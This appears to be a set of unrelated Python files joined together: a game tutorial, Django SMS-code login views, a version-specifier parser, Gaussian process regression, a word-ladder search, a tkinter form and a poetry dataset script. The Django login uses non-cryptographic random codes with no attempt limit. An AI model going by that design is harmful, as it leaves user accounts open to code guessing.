    invoke(TutorialScript10,delay=3)
    PopSound.play()

def TutorialScript10():
    global TutorialText
    TutorialText=Text("You can tell if you can't jump on it by its colour.",scale=1.2,y=.3,x=-.13)
    destroy(TutorialText, delay=3); invoke(TutorialScript11,delay=3)
    PopSound.play()

def TutorialScript11():
    global TutorialText
    if InversedMode:
        TutorialText=Text("For example that block over there, try jump on it.",scale=1.2,y=.3,x=-.13)
    else:
        TutorialText=Text("Go into shadow mode and try jump on that block.",scale=1.2,y=.3,x=-.14)
    puzzleblock=TutorialBlock(ID='Normal',action=2,model='quad',z=player_controller.z,y=.1,scale=.3,x=5,collider='box')
    PopSound.play()

def TutorialScript12():
    global TutorialText
    TutorialText=Text("See! Very cool, right?",scale=1.2,y=.3,x=-.15)
    destroy(TutorialText,delay=2)
    invoke(TutorialScript13,delay=2)
    PopSound.play()

def TutorialScript13():
    global TutorialText
    TutorialText=Text("Moving platforms, also, can't be walked on in shadow mode.",scale=1.2,y=.3,x=-.25)
    PopSound.play()
    destroy(TutorialText,delay=4); invoke(TutorialScript14,delay=4)

def TutorialScript14():
    global TutorialText
    TutorialText=Text("Ok, lets move onto the main game!",scale=1.2,y=.3,x=-.12)
    PopSound.play()
    invoke(FinishedTutorial,delay=3)

level_completed = Audio('assets/audio/levelwin',autoplay=False,loop=False)
def FinishedTutorial():
    TutorialCompleted = True
    data['TutorialCompleted'] = TutorialCompleted
    with open("data.json", "w") as f:
        json.dump(data, f,indent=4)

    if not level_completed.playing:
        level_completed.play()

    camera.overlay.color = color.black
    egg = Sprite(name='cheese', parent=camera.ui, texture='assets/textures/leveldone.png', world_z=camera.overlay.z-1, scale=.1, color=color.white)
    invoke(nextpart,delay=3.2)

TutorialScript1()

app.run()


from django.contrib.auth.decorators import login_required
from django.contrib import messages
from django.shortcuts import render, redirect
from django.contrib.auth.views import LoginView
from django.views.generic import TemplateView
from django.views import View
from django.contrib.auth import logout
from requisitions.models import Request
from letters.models import Letter
from customers.forms import CustomerForm
from customers.models import Customer, CodeAuthSMS
from django.middleware import csrf
from customers.models import CodeAuthSMS
from django.contrib.auth.models import User
from django.contrib.auth import login, authenticate
import time
import random
import json
from khamka.forms import Customer_register_form, Mobile_form
from requisitions.forms import RequestForm2
from .sms import SMS
# class Index(TemplateView):
#     template_name = "landing/index.html"

class LoginRequiredMixin(object):
    """
    این کلاس در بررسی لاگین بودن یا نبودن
    کاربر کاربرد دارد.
    """
    login_required = True

    @classmethod
    def as_view(cls, **kwargs):
        self = cls()
        view = super(LoginRequiredMixin, cls).as_view(**kwargs)
        if self.login_required:
            return login_required(view, login_url='/register')
        else:
            return view

class SuccessMessageMixin:
    """
    Add a success message on successful form submission.
    """
    success_message = ''
    css = ''

    def form_valid(self, form):
        response = super().form_valid(form)
        success_message = self.get_success_message(form.cleaned_data)
        if success_message:
            messages.success(self.request, success_message)
        return response

    def get_success_message(self, cleaned_data):
        return self.success_message % cleaned_data

class UserLoginView(LoginView):
    """
    برای لاگین شدن کاربر استفاده میشود و
    از LoginView خود جانگو و فرم آن استفاده میکند

    """
    template_name = 'login.html'
    success_url = '/panel'

    def get_redirect_url(self):
        return '/panel'

    # def form_valid(self, form):
    #     """
    #     برای لاگ کردن ورود کاربر استفاده میشود

    #     Arguments:
    #         form:
    #             فرم ارسال شده است
    #     """
    #     res = super().form_valid(form)
    #     return res

class SoonView(LoginRequiredMixin, TemplateView):
    template_name = "soon.html"

class PanelView(LoginRequiredMixin, TemplateView):
    template_name = "panel.html"

    def get_context_data(self, **kwargs):
        # Call the base implementation first to get a context
        context = super().get_context_data(**kwargs)
        # Add in a QuerySet of all the books
        context['new_requests'] = Request.objects.filter(status='1')
        context['waiting_letters'] = Letter.objects.filter(status='1')
        return context

class AuthSession:
    def __init__(self, request):
        self.req = request

    def get_session_data(self, data):
        return self.req.session['authentication'][0][data]

    def add_session_data(self, key, value):
        self.req.session['authentication'][0][key] = value
        self.req.session.modified = True

    def get_input_phone(self, value, more):
        return f"""لطفا شماره تلفن همراه خود را وارد کنید.
            <input type="phone" id="phoneNumber" name="phoneNumber" class="form-control" value="{value}" {more} maxlength="11" required>"""

    def get_input_code(self):
        return """
            کد 5 رقمی پیامک شده را وارد کنید
            <input type="charfield" id="regcode" name="regcode" class="form-control" placeholder="کد 5 رقمی پیامک شده به شماره موبایل را وارد کنید" maxlength="5" required>

زمان انقضای کد

"""

    def create_new_session(self):
        self.req.session['authentication'] = [{
            'mobile_number': '',
            'is_verified': False,
            'session_lvl': '0',
        }]
        self.req.session.modified = True

    def create_auth_code(self, phone_number, expiry_time):
        code = random.randint(10000, 99999)
        authCode = CodeAuthSMS(
            phone=phone_number,
            code=code,
            is_active=True,
            time_expiry=str(int(time.time()) + expiry_time),
        )
        authCode.save()

        send_auth_code = SMS()
        send_auth_code.send(phone_number, code, '160216')
        print(send_auth_code.status)

    def get_latest_authCode(self):
        return CodeAuthSMS.objects.filter(phone=self.get_session_data('mobile_number')).latest('time_expiry')

    def alert_rase(self, type, message):
        return f"""

                 {message}

        """

    def get_expiry_time_status(self, phone_number):
        a = CodeAuthSMS.objects.filter(
            phone=phone_number).latest('time_expiry')
        remaining_expiry_time = int(time.time()) - int(a.time_expiry)
        return abs(remaining_expiry_time)

    def get_context(self, form, request_is_POST=True, title_lvl='', alert = ''):
        ex = ''
        if request_is_POST:
            try:
                ex = self.get_expiry_time_status(self.get_session_data('mobile_number'))
            except:
                ex = ''
        have_form = False if form == None else True

        print('### session:  ',self.req.session['authentication'][0])

        return {
            'form': form,
            'expiry_code_time': ex,
            'title_lvl': title_lvl,
            'alert': alert,
            'have_form': have_form
        }

    def get_customer_register_form(self):
        return Customer_register_form()

def create_customer():
    pass

def two_factor_auth_login(request):
    s = AuthSession(request)
    HTML_FILE = 'rere.html'
    EXPIRE_CODE_TIME = 120 # زمان اعتبار کد تایید به ثانیه
    TITLE_LEVELS = [
        'ورود به سامانه',
        'تایید شماره تلفن',
        'ثبت نام اولیه در سامانه',
        'خوش آمدید'
    ]

    if request.method == 'GET':
        # در این شرط بررسی می شود سشن مربوطه ساخته شده یا خیر
        if 'authentication' in request.session:
            # در این مرحله اگر سشن لول یک باشد ، سشن جدید ساخته میشود و کد اعتبار سنجی قبلی غیر فعال می شود
            if s.get_session_data('session_lvl') == '1':
                auth = CodeAuthSMS.objects.filter(phone=s.get_session_data('mobile_number')).latest('time_expiry')
                print(auth)
                s.create_new_session()
            # اگر سشن لول برابر 2 باشد یعنی کاربر ثبت نام نکرده و فرم ثبت نام براش ارسال میشه
            elif s.get_session_data('session_lvl') == '2':
                context = s.get_context(form=s.get_customer_register_form(), title_lvl=TITLE_LEVELS[2])
                return render(request, HTML_FILE, context)
            # اگر سشن لول برابر 3 باشد و کاربر تایید شده باشد کاربر به صفحه پنل کاربری هدایت می شود
            elif s.get_session_data('session_lvl') == '3' and s.get_session_data('is_verified'):
                context = s.get_context(form=None, title_lvl=TITLE_LEVELS[3], alert=s.alert_rase('success', 'با موفقیت وارد سامانه شدید'))
                return render(request, HTML_FILE, context)
        # اگر سشن وجود نداشته باشد سشن ایجاد میشود و فرم وارد کردن شماره موبایل ارسال می شود
        else:
            s.create_new_session()
        # context = s.get_context(form=s.get_input_phone('', """placeholder="شماره تلفن را وارد کنید. مثال 09123456789" """), request_is_POST=False, title_lvl=TITLE_LEVELS[0])
        context = s.get_context(form=Mobile_form(), request_is_POST=False, title_lvl=TITLE_LEVELS[0])
        return render(request, HTML_FILE, context)

    # POST request
    if request.method == 'POST':
        lvl = s.get_session_data('session_lvl')
        # SESSION LEVEL 0
        # اگر سشن لول  0 باشد و ریکوئست از نوع پست ، شماره موبایل وارد شده کاربر در یافت می شود و کد اعتبار سنجی ایجاد و ارسال می شود
        if lvl == '0':
            mobile_form = Mobile_form(request.POST)
            if mobile_form.is_valid():
                phone_number = mobile_form.cleaned_data['mobile']
                s.add_session_data('mobile_number', phone_number)
                s.create_auth_code(phone_number, EXPIRE_CODE_TIME)
                s.add_session_data('session_lvl', '1')
                context = s.get_context(form=s.get_input_phone(phone_number, "disabled") + s.get_input_code(), title_lvl=TITLE_LEVELS[1])
            else:
                context = s.get_context(form=Mobile_form(), title_lvl=TITLE_LEVELS[1], alert=s.alert_rase('warning', 'لطفا تیک گزینه کپچا را بزنید.'))
            return render(request, HTML_FILE, context)

        # SESSION LEVEL 1
        # در این لول کابر کد تایید را ارسال کرده و یا زمان اعتبار کد به پایان رسیده
        elif lvl == '1':
            # بررسی میکند اگر زمان اعتبار سنجی کد تایید به پایان رسیده باشد، کاربر به فرم ورود مجدد شماره موبایل هدایت می شود
            try:
                request_data = json.loads(request.body)
                if request_data['status'] == 'finish_time':
                    s.create_new_session()
                    # context = {'data': s.get_input_phone('', ''),'expire_code_time' : EXPIRE_CODE_TIME}
                    context = s.get_context(form=s.get_input_phone('', """placeholder="شماره تلفن را وارد کنید. مثال 09123456789" """), title_lvl=TITLE_LEVELS[0], alert = s.alert_rase('danger', 'زمان اعتبار کد پیامک شده به پایان رسید! لطفا مجددا تلاش کنید.'))
                    return render(request, HTML_FILE, context)
            # اگر زمان کد اعتبار سنجی معتبر بود وارد مرحله زیر می شود
            except:
                auth_obj = s.get_latest_authCode()
                #بررسی فعال بودن و درست بودن کد تایید ارسال شده
                if auth_obj.is_active == True and auth_obj.code == int(request.POST.get('regcode')):
                    # در این مرحله بررسی میشود که کاربر یوزر وارد شده کارمند هست یا خیر، اگر کارمند بود لاگین می شو.د و به پنل اصلی هدایت می شود
                    if User.objects.filter(username__exact=auth_obj.phone).exists():
                        user = User.objects.get(username__exact=auth_obj.phone)
                        login(request, user)
                        return redirect('/panel')
                    # بررسی شماره تلفن و ورود به عنوان ارباب رجوع
                    elif Customer.objects.filter(phoneNumber=auth_obj.phone).exists():
                        s.add_session_data('session_lvl', '3')
                        s.add_session_data('is_verified', True)
                        return redirect('/register')
                    # در حالت زیر کاربر وجود ندارد و باید به فرم ثبت نام هدایت شود
                    else:
                        s.add_session_data('session_lvl', '2')
                        return redirect('/register')
                # در این حالت سشن کد تایید غیر فعال است و مجدد باید به مرحله سشن جدید در لول 0 هدایت شود
                elif auth_obj.is_active == False:
                    s.add_session_data('session_lvl', '0')
                    return redirect('/register')
                # در این مرحله اگر کد وارد شده اشتباه باشد مجدد کاربر به فرم وارد کردن کد هدایت میشود با پیغام مربوطه
                else:
                    print('auth Code is incorrect')
                    context = s.get_context(form=s.get_input_phone(s.get_session_data('mobile_number'), "disabled") + s.get_input_code(), title_lvl=TITLE_LEVELS[1], alert=s.alert_rase('warning', 'کد وارد شده اشتباه است ! مجددا کد را وارد کنید.'))
                    return render(request, HTML_FILE, context)
        # SESSION LEVEL 2
        # در این مرحله کاربر وارد شده کاستومر یا ارباب رجوعی است که قبلا ثبت نام نکرده و ثبت نام او انجام می شود
        elif lvl == '2':
            customer_form = Customer_register_form(request.POST)
            if customer_form.is_valid():
                phoneNumber= s.get_session_data('mobile_number')
                fullname = request.POST['fullname']
                codemeli = request.POST['codemeli']
                sex = request.POST['sex']
                customer_obj = Customer(
                    phoneNumber=phoneNumber,
                    fullname=fullname,
                    code_meli=codemeli,
                    sex=sex,
                )
                customer_obj.save()
                s.add_session_data('session_lvl', '3')
                s.add_session_data('is_verified', True)
                return redirect('/register')
            # فرم ارسالی کاربر کامل نیست و مجدد باید تکمیل کند
            else:
                print('form not valid')
                context = s.get_context(form=Customer_register_form(request.POST), title_lvl=TITLE_LEVELS[2])
                return render(request, HTML_FILE, context)
        # SESSION LEVEL 3
        # فکر کنم با توجه به اینکه نوع ریدایرکت های قبلی گت هست این شرط هیچگاه برقرار نیست و باید پاک کرد
        elif lvl == '3' and s.get_session_data('is_verified'):
            context = s.get_context(form=None, title_lvl=TITLE_LEVELS[3], alert=s.alert_rase('success', 'با موفقیت وارد سامانه شدید'))
            return render(request, HTML_FILE, context)

class UserLogoutView(LoginRequiredMixin, View):
    """
    برای خروج کاربر یا اصطلاحاً لاگ آوت استفاده میشود
    و پس از لاگ اوت کاربر را به صفحه لاگین هدایت میکند

    Arguments:
        request:
           درخواست ارسال شده به صفحه است

    """

    def get(self, request):
        # request.user.last_logout = timezone.now()
        # request.user.last_activity = timezone.now()
        # request.user.save()
        # log_save(request.user, 1, 2, True)
        logout(request)

        return redirect('/register')

def register_customer_request(request):

    message = ''
    if request.method == 'POST':
        customer_form = CustomerForm(request.POST)
        request_form = RequestForm2(request.POST)
        if customer_form.is_valid() and request_form.is_valid():
            is_customer_exist = Customer.objects.filter(
                phoneNumber=customer_form.cleaned_data['phoneNumber']).exists()
            if not is_customer_exist:
                customer = Customer(
                    phoneNumber=customer_form.cleaned_data['phoneNumber'],
                    fullname=customer_form.cleaned_data['fullname'],
                    organ=customer_form.cleaned_data['organ'],
                    code_meli=customer_form.cleaned_data['code_meli'],
                    sex=customer_form.cleaned_data['sex'],
                    phone=customer_form.cleaned_data['phone'],
                    address=customer_form.cleaned_data['address'],
                )
                customer.save()
                requestions = Request(
                    number=request_form.cleaned_data['number'],
                    title=request_form.cleaned_data['title'],
                    register_date=request_form.cleaned_data['register_date'],
                    customer=customer,
                    description=request_form.cleaned_data['description'],
                    status=request_form.cleaned_data['status'],
                    result=request_form.cleaned_data['result'],
                    category=request_form.cleaned_data['category'],
                    created_by=request_form.cleaned_data['created_by'],
                )
                requestions.save()

                return redirect(f'/requestions/detail/{requestions.id}')

            else:
                message = 'این درخواست دهنده با این شماره موبایل قبلا ثبت شده. لطفا از صفحه درخواست دهندگان اقدام به ثبت درخواست کنید.'

        context = {
            'request_form': request_form,
            'customer_form': customer_form,
            'message': message,
        }
        return render(request, 'register_both_customer_request.html', context=context)

    context = {
        'request_form': RequestForm2,
        'customer_form': CustomerForm,
    }
    return render(request, 'register_both_customer_request.html', context=context)


import abc
import enum
import re
from typing import Optional, Tuple

from packaging.specifiers import ParsedVersion, _IndividualSpecifier
from packaging.utils import canonicalize_version
from packaging.version import Version

from .utils import version_replace_fields

__all__ = [
    "SemverSpecifier",
]

def _format_epoch(epoch: Optional[int]) -> str:
    return "" if epoch in (None, 0) else f"{epoch}!"

class VersionSelector(abc.ABC):
    def __repr__(self) -> str:
        return f"{type(self).__name__}({self!s})"

    @abc.abstractmethod
    def __eq__(self, other: object) -> bool:
        ...

    @abc.abstractmethod
    def __hash__(self) -> int:
        ...

    @abc.abstractmethod
    def __str__(self) -> str:
        ...

    @abc.abstractproperty
    def canonical(self) -> "VersionSelector":
        ...

    @abc.abstractproperty
    def spec(self) -> Tuple[str, str]:
        ...

class AnyVersionSelector(VersionSelector):
    def __eq__(self, other: object) -> bool:
        return type(other) is AnyVersionSelector

    def __hash__(self) -> int:
        return hash((type(self), "*"))

    def __str__(self) -> str:
        return "*"

    @property
    def canonical(self) -> "VersionSelector":
        return self

    @property
    def spec(self) -> Tuple[str, str]:
        return "*", ""

class PlaceholderVersionSelector(VersionSelector):
    def __init__(self, epoch: Optional[int], version: str) -> None:
        try:
            parts = tuple(
                "x" if part == "x" else int(part) for part in version.split(".")
            )
        except ValueError:
            raise ValueError(f"Invalid PlaceholderVersionSelector: {version!r}")
        self.epoch = epoch
        self.parts = parts

    def __eq__(self, other: object) -> bool:
        return isinstance(other, PlaceholderVersionSelector) and (
            self.epoch,
            self.parts,
        ) == (other.epoch, other.parts)

    def __hash__(self) -> int:
        return hash((type(self), self.epoch, self.parts))

    def __str__(self) -> str:
        return _format_epoch(self.epoch) + ".".join(map(str, self.parts))

    @property
    def canonical(self) -> "VersionSelector":

        parts = self.parts
        if parts == ("x",):
            return AnyVersionSelector()

        epoch = _format_epoch(self.epoch)

        # Convert "1.x" to "^1.0.0", "1.x.x" to "^1.0.0" and "1.0.x" to "~1.0.0".
        if (len(parts) == 2 and parts[1] == "x") or (
            len(parts) == 3 and parts[1:] == ("x", "x")
        ):
            return PackagingVersionSelector(
                PackagingVersionSelector.Mode.MINOR, Version(f"{epoch}{parts[0]}.0.0")
            )
        elif len(parts) == 3 and parts[1] != "x" and parts[2] == "x":
            return PackagingVersionSelector(
                PackagingVersionSelector.Mode.PATCH,
                Version(f"{epoch}{parts[0]}.{parts[1]}.0"),
            )

        return self

    @property
    def spec(self) -> Tuple[str, str]:
        return "", str(self)

class PackagingVersionSelector(VersionSelector):
    class Mode(enum.Enum):
        MINOR = "^"
        PATCH = "~"
        MAYBE_EXACT = ""

    def __init__(self, mode: Mode, version: Version) -> None:
        assert isinstance(version, Version)
        self.mode = mode
        self.version = version

    def __eq__(self, other: object) -> bool:
        return isinstance(other, PackagingVersionSelector) and (
            self.mode,
            self.version,
        ) == (other.mode, other.version)

    def __hash__(self) -> int:
        return hash((type(self), self.mode, self.version))

    def __str__(self) -> str:
        epoch = _format_epoch(self.version.epoch)
        return (
            f"{epoch}{self.mode.value}{version_replace_fields(self.version, epoch=0)}"
        )

    @property
    def canonical(self) -> "VersionSelector":

        if self.mode == self.Mode.MAYBE_EXACT:
            parts = self.version.public.split(".")

            # Convert "1" to "^1.0.0" and "1.0" to "~1.0.0".
            if len(self.version.release) == 1:
                new_version = version_replace_fields(
                    self.version, release=self.version.release + (0, 0)
                )
                return PackagingVersionSelector(self.Mode.MINOR, new_version)
            elif len(parts) == 2:
                new_version = version_replace_fields(
                    self.version, release=self.version.release + (0,)
                )
                return PackagingVersionSelector(self.Mode.PATCH, new_version)

        return PackagingVersionSelector(
            self.mode, Version(canonicalize_version(self.version))
        )

    @property
    def spec(self) -> Tuple[str, str]:
        return self.mode.value, str(self.version)

class SemverSpecifier(_IndividualSpecifier):

    _regex_str = r"""
        # epoch, can not be combined with wildcards. although the epoch must be placed before the operator,
        # we encode in the second spec element.
        (?P<epoch>\d+!(?=\^|~|)(?!\*))?
        (?P<operator>\^|~|\*|)
        (?P<version>
            (?:
                (?:
                    (?<=\*)
                ) |
                (?:
                    (?<!\*)
                    (?:
                        (?P<final>(?:\d+\.){0,2}\d+)

                        # Can be followed by pre- and postrelease information.
                        (?P<remainder>
                            (?P<prelease>                   # pre release
                                [-_\.]?
                                (?:a|b|c|rc|alpha|beta|pre|preview)
                                [-_\.]?
                                [0-9]*
                            )?
                            (?P<postrelease>                   # post release
                                (?:-[0-9]+)|(?:[-_\.]?(?:post|rev|r)[-_\.]?[0-9]*)
                            )?
                            (?P<devrelease>
                                (?:[-_\.]?dev[-_\.]?[0-9]*)?         # dev release
                                (?:\+[a-z0-9]+(?:[-_\.][a-z0-9]+)*)? # local
                            )?
                        )
                    ) |
                    (?P<placeholder>
                        # Allow placeholders; only when no operator was specified.
                        (?<!\^|~|\*)
                        (?:(?:\d+|x)\.){0,2}(?:\d+|x)
                    )
                )
            )
        )
    """

    def __init__(self, spec: str = "", prereleases: Optional[bool] = None) -> None:
        super().__init__(spec, prereleases)

        # Re-run the regex, save it for later and encode the epoch in the spec.
        match = self._regex.search(spec)
        assert match is not None
        if match.group("epoch"):
            self._spec = (self._spec[0], match.group("epoch") + self._spec[1])
        self._match = match

        # Identify the version selector that resembles the specifier.
        version_selector: VersionSelector
        if match.group("placeholder"):
            parsed_epoch = (
                int(match.group("epoch")[:-1]) if match.group("epoch") else None
            )
            version_selector = PlaceholderVersionSelector(
                parsed_epoch, match.group("placeholder")
            )
        else:
            epoch = match.group("epoch") or ""
            if match.group("operator") == "*":
                assert not epoch
                version_selector = AnyVersionSelector()
            else:
                version_selector = PackagingVersionSelector(
                    PackagingVersionSelector.Mode(match.group("operator")),
                    Version(epoch + match.group("version")),
                )
        self._version_selector = version_selector

    def _compare_minor(self, prospective: ParsedVersion, spec: str) -> bool:
        raise NotImplementedError

    def _compare_patch(self, prospective: ParsedVersion, spec: str) -> bool:
        raise NotImplementedError

    def _compare_placeholder(self, prospective: ParsedVersion, spec: str) -> bool:
        raise NotImplementedError

    @property
    def version_selector(self) -> VersionSelector:
        return self._version_selector

    # _IndividualSpecifier

    _regex = re.compile(r"^\s*" + _regex_str + r"\s*$", re.VERBOSE | re.IGNORECASE)

    _operators = {
        "^": "minor",
        "~": "patch",
        "": "placeholder",
    }

    @property
    def _canonical_spec(self) -> Tuple[str, str]:
        return self._version_selector.canonical.spec


import numpy as np
import matplotlib.pyplot as plt
from numpy.linalg import inv, det, cholesky
from scipy.optimize import minimize

def LoadData(filename):
    X = []
    Y = []
    with open(filename, 'r', encoding='utf-8') as file:
        for line in file:
            x, y = line.split(' ')
            X.append(float(x))
            Y.append(float(y))
    X = np.array(X, dtype=np.float64).reshape(-1, 1)
    Y = np.array(Y, dtype=np.float64).reshape(-1, 1)
    return X, Y

def RationalQuadraticKernel(X1, X2, sigma, alpha, length_scale):
    dist = np.sum(X1 ** 2, axis=1).reshape(-1, 1) + np.sum(X2 ** 2, axis=1) - 2 * X1 @ X2.T
    kernel = (sigma ** 2) * ((1 + dist / (2 * alpha * (length_scale ** 2))) ** (-1 * alpha))
    return kernel

def NegativeLogLikelihood(theta, X, Y, beta):
    theta = theta.ravel()
    kernel = RationalQuadraticKernel(X, X, theta[0], theta[1], theta[2])
    kernel += np.identity(len(X), dtype=np.float64) * (1 / beta)
    nll = np.sum(np.log(np.diagonal(cholesky(kernel))))
    nll += 0.5 * Y.T @ inv(kernel) @ Y
    nll += 0.5 * len(X) * np.log(2 * np.pi)
    return nll

def GaussianProcess(X, Y, X_s, beta, sigma, alpha, length_scale):
    kernel = RationalQuadraticKernel(X, X, sigma, alpha, length_scale)
    C = kernel + np.identity(len(X), dtype=np.float64) * (1 / beta)
    C_inv = inv(C)
    kernel_s = RationalQuadraticKernel(X, X_s, sigma, alpha, length_scale)
    kernel_ss = RationalQuadraticKernel(X_s, X_s, sigma, alpha, length_scale)

    mu_s = kernel_s.T @ C_inv @ Y
    var_s = kernel_ss + np.identity(len(X_s), dtype=np.float64) * (1 / beta)
    var_s -= kernel_s.T @ C_inv @ kernel_s

    plt.plot(X_s, mu_s, color='b')
    plt.scatter(X, Y, color='k', s=10)

    interval = 1.96 * np.sqrt(np.diag(var_s))
    X_s = X_s.ravel()
    mu_s = mu_s.ravel()

    plt.plot(X_s, mu_s + interval, color='r')
    plt.plot(X_s, mu_s - interval, color='r')
    plt.fill_between(X_s, mu_s + interval, mu_s - interval, color='r', alpha=0.1)

    plt.title(f'sigma: {sigma:.5f}, alpha: {alpha:.5f}, length scale: {length_scale:.5f}')
    plt.xlim(-60, 60)
    plt.show()

if __name__ == '__main__':
    '''
    X: 34 x 1
    Y: 34 x 1
    kernel(X, X): 34 x 34
    '''

    X, Y = LoadData('input.data')
    X_s = np.linspace(-60.0, 60.0, 1000).reshape(-1, 1)
    beta = 5
    sigma = 1
    alpha = 1
    length_scale = 1
    GaussianProcess(X, Y, X_s, beta, sigma, alpha, length_scale)

    sigma = 1
    alpha = 1
    length_scale = 1
    opt = minimize(NegativeLogLikelihood, [sigma, alpha, length_scale],
                    bounds=((1e-8, 1e6), (1e-8, 1e6), (1e-8, 1e6)),
                    args=(X, Y, beta))
    sigma_opt = opt.x[0]
    alpha_opt = opt.x[1]
    length_scale_opt = opt.x[2]
    GaussianProcess(X, Y, X_s, beta, sigma_opt, alpha_opt, length_scale_opt)


"""
DFS 문제 중에서 처음 보는 형식이라서 적잖게 당황했던 것 같다.

우선 단어를 하나씩만 바꾸면서, 최종 목표 단어를 만들어야한다.

그렇기 위해서, 비교 대상 두 단어의 차이가 1개인지 확인하고, 이미 비교했던 단어인지 확인한다음 백트래킹을 통해서 모든 경우의 수를 탐색하도록 한다.

"""

import sys
sys.setrecursionlimit(10**5)

def comp(w1,w2):
    cnt = 0

    for i in range(len(w1)):
        if w1[i] != w2[i]:
            cnt += 1

    return cnt

def dfs(begin,target,words,visited,i):

    if comp(begin,target) == 0:
        return i

    min_res = int(1e9)

    for word in words:
        if not visited[word]:
            if comp(begin,word) == 1:
                visited[word] = True
                min_res = min(min_res,dfs(word,target,words,visited,i+1))
                visited[word] = False

    return min_res

def solution(begin, target, words):
    answer = 0

    if target not in words:
        return answer

    visited = dict()

    for word in words:
        visited[word] = False

    answer = dfs(begin,target,words,visited,0)

    return answer

프로그래머스/고득점 Kit/깊이,너비 우선 탐색/단어 변환(★).py


# from tkinter import *
# from tkinter.font import Font
# from tkinter import messagebox
#
# win = Tk()
# win.title("Ragistration_form ")
# win.geometry("500x500")
# win.configure(background='aqua')
#
# l1 = Label(win, text="RAGISTRATION FORM ", bg='aqua', fg='grey', font=("bold", 30))
# l1.pack(fill=X)
#
# Label(text="FIRST NAME : ", bg="aqua", fg='black', font=("bold", 15)).place(x=60, y=70)
# Label(text="LAST NAME : ", bg="aqua", fg='black', font=("bold", 15)).place(x=60, y=120)
# Label(text="E-MAIL : ", bg="aqua", fg='black', font=("bold", 15)).place(x=60, y=170)
# Label(text="MOBILE NO. :", bg="aqua", fg='black', font=("bold", 15)).place(x=60, y=220)
# Label(text="CITY :", bg="aqua", fg='black', font=("bold", 15)).place(x=60, y=270)
# # RADIO BUTTON >>>>>>>>>>>>>>>
# l5 = Label(win, text="GENDER", bg='aqua', fg='black', font=("bold", 15)).place(x=60, y=320)
# Radiobutton(win, text='Male', padx=5, variable='var', value=1, bg='aqua').place(x=250, y=320)
# Radiobutton(win, text='Female', padx=20, variable='var', value=2, bg='aqua').place(x=320, y=320)
#
# l2 = Entry(win, width="30").place(x=250, y=70)
# l3 = Entry(win, width='30').place(x=250, y=120)
# l4 = Entry(win, width='30').place(x=250, y=170)
# l6 = Entry(win, width='30').place(x=250, y=220)
# l7 = Entry(win, width='30').place(x=250, y=270)
#
#
# def register():
#     print(l2.get())
#
#
# Button(win, text="RAGISTER ", width="20", fg="white", bg='grey', command="register", font=("bold", 13)).place(x=165,
#                                                                                y=370)
# Button(win, text="CANCLE ", width="20", fg="white", bg='grey', command="Register", font=("bold", 13)).place(x=165,
#                                                                                y=420)
# win.mainloop()

from tkinter import *

win = Tk()
win.title('Registration Form')
win.geometry('500x500')
win.configure(background='aqua')

Label(win,text='Registration Form',bg='aqua',fg='grey',font=('bold,30')).pack(fill=X)

Label(win, text="Name", bg='aqua', fg='grey').place(x=60,y=70)
e1 = Entry(win,width="30").place(x=250,y=70)

Label(win, text="Name", bg='aqua', fg='grey').place(x=60,y=100)
e2 = Entry(win,width="30").place(x=250,y=100)

win.mainloop()

FaceRecognition Based Attendance System/Attendance System2/register.py


from pathlib import Path
import pandas as pd
import numpy as np
from sklearn.model_selection import train_test_split
from enum import Enum, auto
from poetry_processing import PROCESSED_DATA_PATH_PICKLE, DATA_PATH
AUTHORS_PROCESSED_PATH = DATA_PATH / "authors_processed" / "authors.csv"
COMBINED_DATA_PATH = DATA_PATH / "data_set.csv"
COMBINED_DATA_PATH_PICKLE = DATA_PATH / "data_set.pkl.gz"

POETRY_COLUMNS = ['title', 'authors', 'translators', 'original_language', 'content', 'content_sep']
DATA_SET_COLUMNS = ['content', 'sex', 'hebrew_speaker', 'birth_period', 'death_period', 'birth_place_israel',
                    'death_place_israel']
ISRAELI_PLACES = {"Tel Aviv", "Jaffa", "Jerusalem", "Haifa", "Nahalal", "Acre", "Ramat Gan", "Givat Hashlosha",
                  "Rishon LeZion", "Petah Tikva", "Zikhron Ya'akov",
                  "Israel", "Mandatory Palestine"}  # This list was compiled manually

class TimePeriods(Enum):
    ancient = auto()
    spain = auto()
    renaissance = auto()
    nineteenth = auto()
    twentieth = auto()
    modern = auto()

SEX = {"male": 0,
       "female": 1}
TIME_PERIODS_RANGES = {TimePeriods.ancient: range(-2000, 500),
                       TimePeriods.spain: range(500, 1400),
                       TimePeriods.renaissance: range(1400, 1800),
                       TimePeriods.nineteenth: range(1800, 1900),
                       TimePeriods.twentieth: range(1900, 2000),
                       TimePeriods.modern: range(2000, 2100)}

def get_period(date):
    if date is not np.nan:
        year = np.datetime64(date, 'Y').astype('int') + 1970
        for period in TIME_PERIODS_RANGES:
            if year in TIME_PERIODS_RANGES[period]:
                return period
    return date

if __name__ == "__main__":
    poetry_df = pd.read_pickle(PROCESSED_DATA_PATH_PICKLE)[POETRY_COLUMNS].rename(columns={'authors': 'author'})
    authors_df = pd.read_csv(AUTHORS_PROCESSED_PATH).rename(columns={'name': 'author'})
    # additional columns for authors
    authors_df['birth_period'] = authors_df.d_birth.apply(get_period)
    authors_df['death_period'] = authors_df.d_death.apply(get_period)
    authors_df['birth_place_israel'] = authors_df.p_birth.apply(lambda x: x in ISRAELI_PLACES)
    authors_df['death_place_israel'] = authors_df.p_death.apply(lambda x: x in ISRAELI_PLACES)
    # combine authors data with poetry data
    combined_df = poetry_df.merge(authors_df, how='left', on='author')
    combined_df.to_pickle(COMBINED_DATA_PATH_PICKLE, compression='gzip')

    # remove Nan data:
    combined_df.dropna(subset=['birth_period', 'death_period'], inplace=True)

    # make label integers only
    combined_df.sex = combined_df.sex.map(SEX)
    combined_df.birth_period = combined_df.birth_period.apply(lambda x: x.value -1)
    combined_df.death_period = combined_df.death_period.apply(lambda x: x.value -1)
    combined_df.birth_place_israel = combined_df.birth_place_israel.apply(lambda x: 1 if x else 0)
    combined_df.death_place_israel = combined_df.death_place_israel.apply(lambda x: 1 if x else 0)
    combined_df.hebrew_speaker = combined_df.hebrew_speaker.apply(lambda x: 1 if x else 0)
    # save all data
    combined_df.to_csv(COMBINED_DATA_PATH, index=False, columns=DATA_SET_COLUMNS)
    # split data set to train,test, validation
    combined_df = combined_df[DATA_SET_COLUMNS]
    np.random.seed(34)
    train, test = train_test_split(combined_df, test_size=0.3)
    validation, test = train_test_split(test, train_size=0.5)
    train.to_csv(DATA_PATH / "train.csv", index=False)
    test.to_csv(DATA_PATH / "test.csv", index=False)
    validation.to_csv(DATA_PATH / "validation.csv", index=False)


"""
Implement atoi which converts a string to an integer.

The function first discards as many whitespace characters as necessary until the first non-whitespace character is
